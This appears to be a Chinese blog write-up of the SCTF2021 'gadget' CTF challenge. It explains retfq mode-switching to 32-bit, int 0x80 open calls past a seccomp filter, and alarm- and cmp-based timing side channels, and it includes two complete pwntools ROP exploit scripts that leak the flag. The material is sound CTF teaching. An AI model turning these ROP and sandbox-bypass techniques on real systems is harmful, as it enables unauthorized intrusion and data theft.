0%

sctf2021 gadget

sctf2021 gadget

知识点:64位程序转32位,三十二位使用int80调用open,alarm侧信道攻击

做过的最难的构造rop题目了,但学到了很多东西,用了快两天才复现成功,这道题能搜到的wp就两个,而且只有脚本,没有多少讲解,我是硬着头皮看脚本一步步动态调试才搞明白,所以这篇wp我会写的细一点,一方面有可能对其他人有用(几乎不可能),一方面加深我的理解。

64位程序转32位

程序运行起来时,专门有一个寄存器cs来决定到底是以64位运行还是以32位运行,当cs为0x33时,程序以64位运行,当cs是0x23时程序以32位运行,这个寄存器并不是不能更改的,专门有个指令retfq用来更改cs,最关键的是retfq还有跳转功能,那就代表组成攻击链。

retfq有三步操作(就结果而言),先设置cs为[rsp+0x8],然后rsp+0x10,然后跳转到rsp-0x10,这样说可能有点抽象,我们可以用gadget来实操一下

1
payload=p64(retfq)+p64(ret)+p64(0x23)+p32(pop_rax)

然后在这里下断点运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x409d1c <__futexwait+113> pop rsp
0x409d1d <__futexwait+114> mov edi, 0x88bf2838
0x409d22 <__futexwait+119> ret

► 0x4011ec <main+28> retfq

0x4011ec <main+28> retfq
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x40d010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x401002 (_init+2) ◂— ret
01:0008│ 0x40d018 ◂— 0x23 /* '#' */
02:0010│ 0x40d020 (__dso_handle) ◂— 0x500401001
03:0018│ 0x40d028 (__dso_handle+8) ◂— 0x40d00000403072 /* 'r0@' */
04:0020│ 0x40d030 (install_seccomp.filter) ◂— 0x40d0000040d000
05:0028│ 0x40d038 (install_seccomp.filter+8) ◂— 0x40117b0040d000
06:0030│ 0x40d040 (install_seccomp.filter+16) ◂— 0x4011f300000000
07:0038│ 0x40d048 (install_seccomp.filter+24) ◂— 0x401002004011ec
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────

这时要执行retfq时的指令区和栈区,执行完后就变成这样了。

1
2
3
4
5
6
7
8
9
10
11
 ► 0x401002 <_init+2>    ret    <0x500401001>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x40d020 (__dso_handle) ◂— 0x500401001
01:0008│ 0x40d028 (__dso_handle+8) ◂— 0x40d00000403072 /* 'r0@' */
02:0010│ 0x40d030 (install_seccomp.filter) ◂— 0x40d0000040d000
03:0018│ 0x40d038 (install_seccomp.filter+8) ◂— 0x40117b0040d000
04:0020│ 0x40d040 (install_seccomp.filter+16) ◂— 0x4011f300000000
05:0028│ 0x40d048 (install_seccomp.filter+24) ◂— 0x401002004011ec
06:0030│ 0x40d050 (install_seccomp.filter+32) ◂— 0x40100100000033 /* '3' */
07:0038│ 0x40d058 (install_seccomp.filter+40) ◂— 0x0
─────────────────────────────────[ BACKTRACE ]─────────────────────────────────

此时rsp已经加10,要执行的指令也是此时的rsp-0x10,即我们构造的ret,rsp也是我们构造的gadget的指令,这样攻击链就连上了(跳转功能)。

三十二位使用int80调用open

64位系统调用open和32位系统调用open函数的寄存器布置并不相同,网上也没什么资料,搜了好久然后问了ayoung佬才搞懂。在64位系统调用时要布置rax,rdi,rsi,rbx四个参数,rax是系统调用号,后面三个是参数,在32位系统调用时是布置ecx,eax,ebx,edx,四个参数的作用如下图如下图,其中eax,ebx必须非常严谨,ecs和edx布不布置都行,但ecx为0会提高成功率(奇怪的知识),所以最好还是布置ecx。

image-20220119222532362

在32位程序中系统调用并不是syscall(而且并不存在),而是int80指令,选择gadget的时候最好选择int80;ret(如果后面还有rop要执行的话),

1
int 80;ret

alarm侧信道攻击

alarm函数是程序的一个计时函数,比如程序刚开始调用alarm(10),那这个函数从这个时间点开始只能再执行十秒钟

利用思路:可以把flag的每个字符mov给rdi后调用alarm函数,从alarm函数开始执行的时候计时,然后检测程序的结束时间,结束时间减去开始时间就是rdi的值即flag的每个字符的值。

重点:当执行完alarm函数后得让程序陷入死循环,不然执行完alarm函数就直接退出程序了,不能达到我们想要的目的,比如这个rop

1
payload=p64(alarm)+p64(0)+p64(pop_rsi_r15_rbp)+p64(push_rsi_ret)+p64(0)*2+p64(push_rsi_ret)

题目

checksec分析

1
2
3
4
5
6
[*] '/home/rootzhang/get-shell/sctf2021/gadget/gadget'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

沙盒分析

1
2
3
4
5
6
7
8
9
10
11
rootzhang@ubuntu:~/get-shell/sctf2021/gadget$ seccomp-tools dump ./gadget
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x25 0x03 0x00 0x40000000 if (A > 0x40000000) goto 0005
0002: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0006
0003: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0006
0004: 0x15 0x01 0x00 0x00000025 if (A == alarm) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW

只允许调用fstat(32位下的open函数),read函数和alarm函数,从这里就可以看出做题思路了,先64位转三十二位调用open函数读flag,然后再转成64位调用read函数把flag写到程序里,然后alarm侧信道爆破

ida反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rcx
int v5; // er8
int v6; // er9
char v9[44]; // [rsp+10h] [rbp-30h] BYREF
int v10; // [rsp+3Ch] [rbp-4h]

v10 = 0;
alarm_sys(48LL, argv, envp);
install_seccomp(48LL, (__int64)argv, v3, v4, v5, v6);
read_sys(v9);
return (int)&locret_401002;
}

__int64 __fastcall read_sys(char *a1)
{
return (unsigned int)sys_read(0, a1, 0xC0uLL);
}

程序非常简单没有canary还有溢出,那就直接溢出构造rop完成攻击思路,注意rop非常长所以得进行栈迁移才行。

第一步调用read函数把rop写到bss段然后栈迁移到这里

1
2
3
payload='a'*0x38+p64(pop_rax)+p64(0)+p64(pop_rdi_rbp)+p64(0)+p64(bss_base)
payload+=p64(pop_r12_r14_r15_rbp)+p64(0x300)+p64(sys_read)+p64(bss_base)+p64(bss_base)
payload+=p64(mov_rsi_rdx_call_r14)+p64(pop_rsp_mov_edi)+p64(bss_base+0x8)

第二步retfq后调用open函数读flag文件,然后再retfq后调用read函数把flag写到bss段,然后再调用read函数进栈迁移

1
2
3
4
5
6
7
payload='./flag\x00\x00'+p64(retfq)+p64(ret)+p64(0x23)
payload+=p32(pop_rax)+p32(5)+p32(pop_rbx_r14_r15_rbp)+p32(bss_base)*4
payload+=p32(pop_rcx)+p32(0)+p32(int80_ret)+p32(retfq)+p32(ret)
payload+=p32(0x33)+p64(pop_rax)+p64(0)+p64(pop_rdi_rbp)+p64(3)+p64(bss_base)
payload+=p64(sys_ret)+p64(pop_rdi_rbp)+p64(0)*2+p64(pop_rsi_r15_rbp)
payload+=p64(bss_base+1+num+)*2+p64(bss_base+8+num+)+p64(pop_rax)+p64(0)+p64(sys_ret)+p64(pop_rsp_mov_edi)+p64(bss_base+8+num+)
paylaod=payload.ljust(0x300,'\x00')

第三步把alarm函数的rop写入bss段然后计时(注意不能在第二步就把alarm函数的rop就写入栈中,这样做的话我们就不能知道alarm函数到底是什么时候调用的,因为前面执行了好多代码了)

1
2
3
4
5
6
7
8
9
10
11
12
payload='\x00\x00\x00\x00\x00\x00\x00'+p64(alarm)+p64(0)+p64(pop_rsi_r15_rbp)+p64(push_rsi_ret)+p64(0)*2
payload+=p64(push_rsi_ret)
sh.send(payload)
start=time.time()
try:
sh.recv()
except:
end=time.time()
asc=int(end-start)
global flag
flag+=chr(asc)
print flag

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
import time
context.arch='amd64'
flag=''
'''
0x000000000040288d : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x000000000040172f : pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret
0x000000000040288f : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401731 : pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401733 : pop r15 ; pop rbp ; ret
0x0000000000401001 : pop rax ; ret
0x0000000000402890 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401102 : pop rbp ; ret
0x000000000040172e : pop rbx ; pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000403072 : pop rbx ; pop r14 ; pop r15 ; pop rbp ; ret
0x000000000040117b : pop rcx ; ret
0x0000000000401734 : pop rdi ; pop rbp ; ret
0x0000000000401732 : pop rsi ; pop r15 ; pop rbp ; ret
0x000000000040288e : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401730 : pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401002 : ret
0x0000000000402c04: mov rsi, r15; mov rdx, r12; call r14; mov edi, eax; call 0x1010; ret;
x0000000000401102: pop rbp; ret;
0x0000000000409d1c: pop rsp; mov edi, 0x88bf2838; ret;
0x0000000000401001: pop rax; ret;
0x00000000004011f3: int 0x80; ret;
0x0000000000403072: pop rbx; pop r14; pop r15; pop rbp; ret;
0x000000000040117b: pop rcx; ret;
0x0000000000408865: syscall; ret;
0x0000000000401732: pop rsi; pop r15; pop rbp; ret;
0x00000000004011c5 : push rsi ; ret
'''

push_rsi_ret=0x00000000004011c5
alarm = 0x40115D
sys_ret=0x0000000000408865
pop_rcx=0x000000000040117b
pop_rbx_r14_r15_rbp=0x0000000000403072
int80_ret=0x00000000004011f3
retfq = 0x4011ec
bss_base=0x40c000+0x1000
pop_rax=0x0000000000401001
pop_rdi_rbp=0x0000000000401734
pop_rsi_r15_rbp=0x0000000000401732
pop_rbp=0x0000000000401102
sys_read=0x40119A
pop_r12_r14_r15_rbp=0x000000000040172f
mov_rsi_rdx_call_r14=0x0000000000402c04
pop_rsp_mov_edi=0x0000000000409d1c
ret=0x0000000000401002
pop_rax=0x0000000000401001
def pwn(num):
sh=process('./gadget')
gdb.attach(sh,"b *0x0000000000409d1c")
#part1 stack&read
payload='a'*0x38+p64(pop_rax)+p64(0)+p64(pop_rdi_rbp)+p64(0)+p64(bss_base)
payload+=p64(pop_r12_r14_r15_rbp)+p64(0x300)+p64(sys_read)+p64(bss_base)+p64(bss_base)
payload+=p64(mov_rsi_rdx_call_r14)+p64(pop_rsp_mov_edi)+p64(bss_base+0x8)
sh.send(payload)
sleep(1)
#part2 retf&open&read
payload='./flag\x00\x00'+p64(retfq)+p64(ret)+p64(0x23)
payload+=p32(pop_rax)+p32(5)+p32(pop_rbx_r14_r15_rbp)+p32(bss_base)*4
payload+=p32(pop_rcx)+p32(0)+p32(int80_ret)+p32(retfq)+p32(ret)
payload+=p32(0x33)+p64(pop_rax)+p64(0)+p64(pop_rdi_rbp)+p64(3)+p64(bss_base)
payload+=p64(sys_ret)+p64(pop_rdi_rbp)+p64(0)*2+p64(pop_rsi_r15_rbp)
payload+=p64(bss_base+1+num)*2+p64(bss_base+8+num)+p64(pop_rax)+p64(0)+p64(sys_ret)+p64(pop_rsp_mov_edi)+p64(bss_base+8+num)
paylaod=payload.ljust(0x300,'\x00')
sh.send(payload)
sleep(1)
#part3 alarm
payload='\x00\x00\x00\x00\x00\x00\x00'+p64(alarm)+p64(0)+p64(pop_rsi_r15_rbp)+p64(push_rsi_ret)+p64(0)*2
payload+=p64(push_rsi_ret)
sh.send(payload)
start=time.time()
try:
sh.recv()
except:
end=time.time()
asc=int(end-start)
global flag
flag+=chr(asc)
print flag

if __name__ == "__main__":
for i in range(30):
pwn(i)

运行效果(跑了快一个小时)

image-20220119231414100

image-20220119231430907

拼接得到flag

工具介绍–ropper

专门用来找gadget的工具,大部分时间比ROPgadget好用

启动并载入程序

1
2
3
4
5
6
rootzhang@ubuntu:~/get-shell/sctf2021/gadget$ ropper
(ropper)> file ./gadget
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.

搜索的时候可以直接搜自己想要的gadget,也可以使用search+gadget,模糊搜索的时候可以使用?,如下图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[INFO] Searching for gadgets: pop rdi
[INFO] File: ./gadget
0x0000000000407464: pop rdi; add byte ptr [rax], al; or cl, byte ptr [rdi]; pushfq; ret 0x59be;
0x0000000000402be4: pop rdi; jmp rax;
0x0000000000409db1: pop rdi; mov eax, 0xca; xor esi, esi; xor r10d, r10d; syscall;
0x0000000000401734: pop rdi; pop rbp; ret;
(gadget/ELF/x86_64)> search pop r?i
[INFO] Searching for gadgets: pop r?i
[INFO] File: ./gadget
0x0000000000407464: pop rdi; add byte ptr [rax], al; or cl, byte ptr [rdi]; pushfq; ret 0x59be;
0x0000000000402be4: pop rdi; jmp rax;
0x0000000000409db1: pop rdi; mov eax, 0xca; xor esi, esi; xor r10d, r10d; syscall;
0x0000000000401734: pop rdi; pop rbp; ret;
0x0000000000407ca5: pop rsi; mov eax, 0xca; mov rdi, r9; syscall;
0x0000000000402be2: pop rsi; pop r15; jmp rax;
0x0000000000401732: pop rsi; pop r15; pop rbp; ret;

总结

寻找gadget

思路一般大家都能想到,但在不能shellcode的话最重要的就是寻找合适的gadget来构造攻击链了。gadget一般是利用栈进行值的传递然后调用函数,根据这个特性我把gadget分为四类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
第一类利用pop传值
(gadget/ELF/x86_64)> search pop|ret
[INFO] Searching for gadgets: pop|ret

[INFO] File: ./gadget
0x000000000040288d: pop r12; pop r13; pop r14; pop r15; pop rbp; ret;
0x000000000040172f: pop r12; pop r14; pop r15; pop rbp; ret;
0x000000000040288f: pop r13; pop r14; pop r15; pop rbp; ret;
0x0000000000402be1: pop r14; pop r15; jmp rax;

第二类利用mov传值(这道题就用到了)
(gadget/ELF/x86_64)> search mov|ret
[INFO] Searching for gadgets: mov|ret

[INFO] File: ./gadget
0x0000000000404cbb: mov ah, 0x86; add byte ptr [rax], al; or cl, byte ptr [rdi]; pushfq; ret 0x8cbe;
0x000000000040150c: mov ah, 0x8a; push rbp; fdivrp st(6); ret 0xf01;
0x00000000004020f9: mov al, 0x40; add byte ptr [rsi + 0x8002], bh; syscall;
0x000000000040213e: mov al, 0x94; je 0x2151; mov byte ptr [rbx + 0xb2353d], 0; or cl, byte ptr [rdi]; pushfq; ret 0x43bf;

第三类利用寄存器加call函数调用
(gadget/ELF/x86_64)> search call r??
[INFO] Searching for gadgets: call r??
[INFO] File: ./gadget
0x0000000000402c0a: call r14; mov edi, eax; call 0x1010; ret;
0x0000000000402c0b: call rsi;
0x0000000000402c0b: call rsi; mov edi, eax; call 0x1010; ret;
第四类系统调用,一般形式是syscall;ret 或者int80;ret
x0000000000401165: syscall; pop rbp; ret;
0x0000000000408865: syscall; ret;
(gadget/ELF/x86_64)> search int 0x80
[INFO] Searching for gadgets: int 0x80

[INFO] File: ./gadget
0x00000000004011f3: int 0x80;
0x00000000004011f3: int 0x80; ret;

rop的时候就搜索这四类就好了。

不利用alarm进行侧信道爆破

在单线程的情况下使用alarm进行侧信道爆破十分之慢,上面我写的那个脚本要跑出全部的flag大概需要快一个小时,尝试跑了一下别人的利用gadget进行爆破速度快多了,所以打算学习一波。

侧信道的精髓就是不同的比较结果会影响程序流,我么可以使用脚本探测程序流的状况,从而达到推测比价结果得到flag。

问了ayoung佬他的gadget,在初期理解上出现了一点问题,我一直没搞懂cmp以后的比较结果到底体现在哪里,动态调试以后才搞懂体现在cmovnz指令上,比如

1
2
3
4
5
cmp     rax, [r15+38h]
mov eax, 0CD2CFCA4h
mov ecx, 0DF6F8009h
cmovnz eax, ecx
jmp loc_409269

当cmp不相等的时候ecx传值给eax,相等的时候不传值,这两个寄存器对后面的程序流有影响,相等的时候程序陷入循环,不相等的时候程序报错退出可以用recv()对程序状态进行检测。

我的脚本是基于我原先脚本修改的(懒),由于改的有点问题,导致我对程序的rop控制出现了问题,多次动态调试才找见文件,哎。浪费了一下午。下面就是缝缝补补的脚本了。速度虽然快了但是成功率不是很高🤦‍♀️,应该跟我频繁的使用red函数有关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
import time
context.arch='amd64'
flag=''
'''
0x000000000040288d : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x000000000040172f : pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret
0x000000000040288f : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401731 : pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401733 : pop r15 ; pop rbp ; ret
0x0000000000401001 : pop rax ; ret
0x0000000000402890 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401102 : pop rbp ; ret
0x000000000040172e : pop rbx ; pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000403072 : pop rbx ; pop r14 ; pop r15 ; pop rbp ; ret
0x000000000040117b : pop rcx ; ret
0x0000000000401734 : pop rdi ; pop rbp ; ret
0x0000000000401732 : pop rsi ; pop r15 ; pop rbp ; ret
0x000000000040288e : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401730 : pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401002 : ret
0x0000000000402c04: mov rsi, r15; mov rdx, r12; call r14; mov edi, eax; call 0x1010; ret;
x0000000000401102: pop rbp; ret;
0x0000000000409d1c: pop rsp; mov edi, 0x88bf2838; ret;
0x0000000000401001: pop rax; ret;
0x00000000004011f3: int 0x80; ret;
0x0000000000403072: pop rbx; pop r14; pop r15; pop rbp; ret;
0x000000000040117b: pop rcx; ret;
0x0000000000408865: syscall; ret;
0x0000000000401732: pop rsi; pop r15; pop rbp; ret;
0x00000000004011c5 : push rsi ; ret
'''

push_rsi_ret=0x00000000004011c5
alarm = 0x40115D
sys_ret=0x0000000000408865
pop_rcx=0x000000000040117b
pop_rbx_r14_r15_rbp=0x0000000000403072
int80_ret=0x00000000004011f3
retfq = 0x4011ec
bss_base=0x40c000+0x1000
pop_rax=0x0000000000401001
pop_rdi_rbp=0x0000000000401734
pop_rsi_r15_rbp=0x0000000000401732
pop_rbp=0x0000000000401102
sys_read=0x40119A
pop_r12_r14_r15_rbp=0x000000000040172f
mov_rsi_rdx_call_r14=0x0000000000402c04
pop_rsp_mov_edi=0x0000000000409d1c
ret=0x0000000000401002
pop_rax=0x0000000000401001
def pwn(num,ans):
print str(num)+"==>"+chr(ans)
sh=process('./gadget')
#gdb.attach(sh,"b *0x408F72")
#part1 stack&read
payload='a'*0x38+p64(pop_rax)+p64(0)+p64(pop_rdi_rbp)+p64(0)+p64(bss_base)
payload+=p64(pop_r12_r14_r15_rbp)+p64(0x300)+p64(sys_read)+p64(bss_base)+p64(bss_base)
payload+=p64(mov_rsi_rdx_call_r14)+p64(pop_rsp_mov_edi)+p64(bss_base+0x8)
sh.send(payload.ljust(0xc0,'\x00'))
#part2 retf&open&read
payload='./flag\x00\x00'+p64(retfq)+p64(ret)+p64(0x23)
payload+=p32(pop_rax)+p32(5)+p32(pop_rbx_r14_r15_rbp)+p32(bss_base)*4
payload+=p32(pop_rcx)+p32(0)+p32(int80_ret)+p32(retfq)+p32(ret)
payload+=p32(0x33)+p64(pop_rax)+p64(0)+p64(pop_rdi_rbp)+p64(3)+p64(bss_base)
payload+=p64(sys_ret)+p64(pop_rdi_rbp)+p64(0)*2+p64(pop_rsi_r15_rbp)
payload+=p64(bss_base+1+num)*2+p64(bss_base+8+num)+p64(pop_rax)+p64(0)+p64(sys_ret)+p64(pop_rsp_mov_edi)+p64(bss_base+8+num)
payload=payload.ljust(0x300,'\x00')
sh.send(payload)
#part3 alarm
payload='\x00\x00\x00\x00\x00\x00\x00'+p64(pop_rsi_r15_rbp)+p64(0)+p64(bss_base-0x38+num)*2
payload+=p64(pop_rax)+p64(ans)+p64(0x408F72)
sh.sendline(payload)
try:
sh.recv(timeout=1)
except:
sh.close()
return 0
else:
global flag
flag+=chr(ans)
print "flag:"+flag
sh.close()
return 1

if __name__ == "__main__":
for i in range(40):
for m in range(0x22,0x7f):
s=pwn(i,m)
if s==1:
break